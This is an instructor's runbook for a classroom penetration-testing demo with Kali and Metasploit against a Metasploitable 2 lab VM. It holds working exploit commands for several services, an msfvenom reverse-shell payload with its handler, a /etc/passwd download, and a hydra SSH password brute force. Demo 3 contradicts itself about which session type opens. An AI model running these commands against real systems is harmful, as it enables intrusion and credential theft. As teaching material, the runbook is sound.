

Live-Demo Runbook & Cheat-Sheet

Pentesting with Kali & Metasploit — target: Metasploitable 2

Instructor copy — run top to bottom; **Say:** lines are talking points

June 8, 2026

Authorization. This runbook targets *your own* Metasploitable 2 VM on an **isolated host-only network**. Running any of these commands against a system you do not own, without written permission, is a criminal offence (§202a-c StGB / CFAA). Keep the target off bridged/NAT networking.

1. Pre-flight checklist (do before class)

- Kali + Metasploitable 2 VMs imported; both adapters = **Host-Only**.
- **Snapshot** both VMs (“clean”) so you can reset between runs.
- Boot both; log in to target: msfadmin/msfadmin.
- On Kali, start the database (faster **search**):
- Grab both IPs and export as shell vars so the demo is copy-paste safe:

```
sudo systemctl start postgresql
sudo msfdb init          # first time only
```

```
ip a                # Kali -> note as
                    LHOST
# on target: login, run 'ifconfig' -> note
                    as TARGET
export TARGET=10.0.x.x
export LHOST=10.0.x.y
ping -c1 $TARGET    # confirm reachable
```

Projector tips: bump terminal font; use a dark-on-light theme; **clear** between demos; pre-open this PDF and the slide “Live demo — exploitation”. If a demo misbehaves, restore the snapshot rather than debugging live.

2. Demo 1 — Reconnaissance with nmap (≈5 min)

Say: *Before touching anything, an attacker maps the surface. Watch how much one scan reveals — and remember this scan alone needs authorization.*

```
nmap -sn 10.0.x.0/24          # who is alive on the segment
nmap -sV -sC -p- -oA demo_recon $TARGET    # all ports, versions, scripts
```

→ **Expect:** a long list: 21/ftp vsftpd 2.3.4, 22/ssh, 23/telnet, 25/smtp, 80/http Apache 2.2.8, 139+445/Samba 3.0.20, 512-514 r-services, 1099/java-rmi, 3306/mysql, 5432/postgres, 6667/UnrealIRCd, 8180/Tomcat.

Say: *Every line is a lead. Two jump out: vsftpd 2.3.4 and an exposed java-rmi — both have public exploits. “Enumerate, then enumerate again.”*

3. Demo 2 — Match a version to an exploit (≈2 min)

```
searchsploit vsftpd 2.3.4
searchsploit -x 49757
searchsploit -m 49757
python 49757.py $TARGET
```

→ **Expect:** a hit referencing the *vsftpd 2.3.4 backdoor command execution*.

4. Demo 3 — Exploitation: raw shell (vsftpd) (≈5 min)

```
msfconsole -q
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options          # note required RHOSTS
set RHOSTS <TARGET>   # set the target (replace with IP)
set LHOST <LHOST>     # set your Kali IP for the reverse shell callback
exploit
```

→ **Expect:** **[+]** ... Command shell session 1 opened. This opens a meterpreter session.

```
shell                # drop to the raw shell
whoami               # -> root
id                   # -> uid=0(root)
hostname
```

5. Demo 4 — A managed Meterpreter session (Java RMI) (≈5 min)

Say: Same workflow, different payload. `java_rmi_server` lets us deliver a Meterpreter — an in-memory, feature-rich agent.

```
use exploit/multi/misc/java_rmi_server
set RHOSTS <TARGET>
set LHOST <LHOST>
set PAYLOAD java/meterpreter/reverse_tcp
exploit
```

→ **Expect:** Meterpreter session 2 opened.

```
sysinfo          # OS, arch, hostname
getuid           # current user
ls /
download /etc/passwd # real file ops, unlike the raw shell
ps              # process list
help            # show the breadth of commands
background
```

Say: This is the difference: a managed session you can pivot, loot, and script through. On Windows you'd now try `getsystem` and `hashdump`.

Backups if Java RMI is slow: `exploit/multi/samba/usermap_script` (set `RHOSTS`; instant `root` shell) or `exploit/unix/irc/unreal_ircd_3281_backdoor` (port 6667). Both reliable on Metasploitable 2.

6. Demo 5 — Build your own payload: msfvenom + handler (≈4 min)

Say: Exploits aren't always available — sometimes you deliver a payload via phishing or a file upload. `msfvenom` forges the payload; `multi/handler` catches it.

```
# (new Kali terminal) craft a standalone reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=<LHOST> LPORT=4444 -f elf -o /tmp/demo.elf

# back in msfconsole: set up the catcher FIRST
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <LHOST>
set LPORT 4444
run
# then run /tmp/demo.elf on the target (copy via the shell from Demo 3)
```

→ **Expect:** when the ELF runs on the target, a new Meterpreter session calls back.

Say: Key rule: the handler's `PAYLOAD/LHOST/LPORT` must exactly match what `msfvenom` generated, or the callback fails.

7. Demo 6 — Credential attack (optional, ≈3 min)

Say: Often the easiest way in is a weak password, not an exploit.

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://$TARGET
```

→ **Expect:** hydra finds `msfadmin:msfadmin`. (Decompress `rockyou` first: `gunzip /usr/share/wordlists/rockyou.txt.gz`.)

Say: Online cracking is loud and slow. The real prize is offline cracking of dumped hashes with `hashcat/john` — silent and fast.

8. The defensive close (do not skip)

Say: Everything we just did has a defence. That's the whole reason we learn it.

- vsftpd backdoor → **patch & config mgmt**, drop unmaintained services.
- Version disclosure → minimise banners; asset inventory.
- Reverse shell egress → **egress filtering**, IDS/EDR on odd outbound.
- Weak SSH password → **MFA**, key auth, logout, fail2ban.
- Hash cracking → slow hashing, long passphrases, least privilege.
- Loud nmap → network monitoring / IDS signatures.

9. Reset between runs

```
# in msfconsole
sessions -K          # kill all sessions
exit
# then restore the "clean" VM snapshots so the next run starts fresh
```

Quick reference — the msfconsole verbs

search <term>	find modules
use <module>	select a module
info	module details
show options	required settings
set OPT val	configure (setg = global)
show payloads	compatible payloads
exploit / run	launch
sessions -l / -i N	list / interact
background / Ctrl-Z	leave session open
sessions -K	kill all sessions

Meterpreter	
sysinfo / getuid	host & user
getsystem	privesc (Windows)
hashdump	dump local hashes
ps / migrate	process list / move
download / upload	file transfer
portfwd / route	pivoting
shell	drop to OS shell